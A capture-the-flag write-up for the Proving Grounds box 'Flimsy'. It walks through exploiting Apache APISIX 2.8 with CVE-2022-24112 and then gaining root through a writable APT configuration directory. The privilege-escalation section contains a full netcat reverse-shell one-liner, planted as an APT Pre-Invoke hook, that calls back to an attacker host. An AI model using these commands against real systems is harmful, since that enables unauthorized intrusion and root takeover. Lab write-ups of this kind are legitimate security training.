# Flimsy Writeup - Proving Grounds

> Easy Linux box running Apache APISIX 2.8, exploited with CVE-2022-24112 for a low-privileged shell, then escalated to root through an APT Update Pre-Invoke hook in a writable apt.conf.d run by a root cron job.

- **URL:** https://hackindex.io/writeups/flimsy
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** apisix, rce, cron-abuse, privilege-escalation, cve-2022-24112
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

Flimsy runs Apache APISIX 2.8 behind OpenResty on port 43500. That version is vulnerable to CVE-2022-24112, a remote code execution that gives a low-privileged shell. A root cron job runs `apt-get update` and `/etc/apt/apt.conf.d` is writable, so an APT Pre-Invoke hook runs a root reverse shell.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT      STATE SERVICE VERSION
# 22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
# 80/tcp    open  http    nginx 1.18.0 (Ubuntu)
# |_http-title: Upright
# 3306/tcp  open  mysql   MySQL (unauthorized)
# 43500/tcp open  http    OpenResty web app server
```

Port 43500 runs an OpenResty web server. A nikto scan fingerprints it as Apache APISIX 2.8, which is below 2.12.1 and vulnerable to CVE-2022-24112.

## Exploitation

### Apache APISIX RCE (CVE-2022-24112)

CVE-2022-24112 abuses the batch-requests plugin to bypass the admin API's IP restriction and run Lua code. Clone the public exploit, start a listener, and run it against the APISIX port.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
python3 apisix-exploit.py http://$TARGET_IP:43500/ $ATTACKER_IP $ATTACKER_PORT
```

The listener catches a low-privileged shell. Upgrade to a TTY, then enumerate for privilege escalation, for example with linpeas, which flags that root runs `apt-get update` on a schedule and that `/etc/apt/apt.conf.d` is writable.

## Privilege Escalation

### APT Pre-Invoke cron abuse

APT runs any command in an `APT::Update::Pre-Invoke` hook before updating. Because the config directory is writable and root runs `apt-get update` on a cron, drop a hook that calls back a shell. Start a listener, then write the hook.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
echo 'APT::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f"}' > /etc/apt/apt.conf.d/pwn
# connect to [$ATTACKER_IP] from $TARGET_IP
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

When the root cron runs `apt-get update`, the Pre-Invoke hook fires as root and returns a root shell.

Related

## References

- [CVE-2022-24112](https://nvd.nist.gov/vuln/detail/CVE-2022-24112) - Apache APISIX admin API IP restriction bypass via the batch-requests plugin, leading to remote code execution.
- [APT privilege escalation](https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/) - Abusing APT Pre-Invoke hooks to run commands as root.